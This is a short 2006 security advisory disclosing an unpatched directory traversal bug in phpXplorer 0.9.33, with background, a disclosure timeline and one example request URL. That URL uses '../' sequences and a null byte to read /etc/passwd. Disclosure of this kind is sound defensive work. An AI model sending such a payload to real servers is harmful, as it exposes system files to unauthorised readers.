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Title: Directory traversal in phpXplorer

Application: phpXplorer
Vendor: http://www.phpxplorer.org
Vulnerable Versions: 0.9.33
Bug: directory traversal
Date: 16-January-2006
Author: Oriol Torrent Santiago < oriol.torrent.AT.gmail.com >

References:
http://www.arrelnet.com/advisories/adv20060116.html

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1) Background
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phpXplorer is an open source file management system written in PHP.
It enables you to work on a remote file system through a web browser.


2) Problem description
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An attacker can read arbitrary files outside the web root by sending
specially formed requests

Ex:

http://host/phpXplorer/system/workspaces.php?sShare=../../../../../../..
/../etc/passwd%00&ref=1

3) Solution:
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No Patch available.

4) Timeline
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17/12/2005 Bug discovered
20/12/2005 Vendor receives detailed advisory. No response
04/01/2006 Second notification. No response
16/01/2006 Public Disclosure

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